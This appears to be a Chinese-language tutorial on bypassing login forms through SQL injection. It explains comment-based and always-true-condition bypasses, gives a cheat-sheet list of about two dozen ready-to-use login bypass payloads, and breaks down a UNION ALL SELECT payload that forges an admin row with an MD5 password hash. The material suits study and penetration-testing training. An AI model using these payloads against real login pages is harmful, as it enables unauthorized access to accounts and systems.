SQLi Login Bypass

SQL注入登入繞過是一種利用 SQL 注入漏洞,在不知道有效帳號或密碼的情況下,成功登入系統的攻擊手法。簡單來說,攻擊者的目標是欺騙登入頁面,讓它以為你輸入了正確的帳號密碼,從而獲得存取權限。


使用註解技巧繞過

如果知道帳號是admin

假設原始sql如下
SELECT * FROM users WHERE username = '$username' AND password = '$password'

透過以下可以饒過認證:
username=admin'--

因為新的sql會變以下,改變原本行為
SELECT * FROM users WHERE username = 'admin'--' AND password = ''

如果不知道帳號是什麼

假設原始sql如下
SELECT * FROM user WHERE account = '$account' AND password = '$password'

透過以下可以饒過認證:
account='OR 1=1 #

因為新的sql會變以下,改變原本行為
SELECT * FROM user WHERE account = '' OR 1=1 # AND password = ''


使用條件為真方式繞過

假如知道帳號是admin

假設原始sql如下
SELECT * FROM users WHERE username = '$account' AND password = '$password'

透過以下可以饒過認證:
password = ' OR '1'='1

因為新的sql會變以下,改變原本行為
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'

根據 SQL 的運算規則,AND 的優先級高於 OR。因此,這個查詢會被這樣解析:
SELECT * FROM users WHERE (username = 'admin' AND password = '') OR '1'='1'

就會變成
SELECT * FROM users WHERE False OR True
最後得到
SELECT * FROM users WHERE True

如果不知道帳號是什麼

假設原始sql如下
SELECT * FROM users WHERE (username = '$account') AND (password = '$password')

透過以下可以饒過認證:
username 和 password = ' OR '1'='1

因為新的sql會變以下,改變原本行為
SELECT * FROM users WHERE (username = '' OR '1'='1') AND (password = '' OR '1'='1')


其他常見語法如下,通常放帳號欄位,如果要放密碼欄位建議把admin移掉

' or 1=1
' or 1=1--
' or 1=1#
' or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin' or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*

以上將單引號換成雙引號,又是另一份測試清單

refer:https://exploit.linuxsec.org/sql-injection-authentication-bypass-cheat-sheet/


使用不存在的資料繞過

假如有特殊需求,想要用admin這個不存在帳號登入,並且產生一個md5內容,可使用以下語法嘗試

1111' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'--

語法分解

假設這段語法被輸入到以下,user有2個欄位,並且應用程式的後端 SQL 查詢如下

SELECT * FROM users WHERE username = '$username' AND password = '$password'

作為密碼輸入時,實際執行的 SQL 查詢會變成:

SELECT * FROM users WHERE username = 'idontknow' AND password = '1111' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'--'

作為帳號輸入時,實際執行的 SQL 查詢會變成:

SELECT * FROM users WHERE username = '1111' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'--' AND password = 'idontknow'

語法工作原理

分解為以下幾個部分來說明(以密碼輸入舉例):

(1) 前半部分:1111 ' AND 1=0

  • 1111:這是一個無意義的值,僅用於填充密碼欄位的一部分。
  • ':單引號用於結束密碼欄位的字符串,從而允許後續的惡意代碼被解析為 SQL 語法。
  • AND 1=0:這是一個永遠為假的條件,會讓原始查詢(SELECT * FROM users WHERE username = 'idontknow' AND password = '1111' AND 1=0)返回空結果。因為 1=0 永遠不成立,資料庫不會返回任何符合條件的記錄。

這部分的作用是讓原始查詢失效,這樣即使輸入的密碼(如 1111)不正確,也不會影響後續的注入邏輯。

(2) 後半部分:UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

  • UNION ALL:這是一個 SQL 關鍵字,用於將兩個查詢的結果合併在一起。UNION ALL 會將第一個查詢的結果(這裡因為 AND 1=0 是空的)和後面的 SELECT 查詢結果合併。
  • SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055':這是一個自定義的查詢,返回一個包含兩列的結果:
  • 第一列:'admin',模擬用戶名。
  • 第二列:'81dc9bdb52d04dc20036dbd8313ed055',這是一個 MD5 哈希值

這部分的目的是構造一個假的查詢結果,直接返回一個看起來像是有效用戶的記錄。

回傳2列結果,剛好user表也要有2個欄位,不然會出現欄位數量不匹配的錯誤

(3) 最終查詢結果

由於 AND 1=0 使原始查詢返回空結果,而 UNION ALL 將後面的 SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' 的結果附加到最終結果中,資料庫最終返回的結果是:

usernamepassword
admin81dc9bdb52d04dc20036dbd8313ed055

在特定的情境中,應用程式看到這個結果,認為找到了一個用戶名為 admin 且密碼為md5。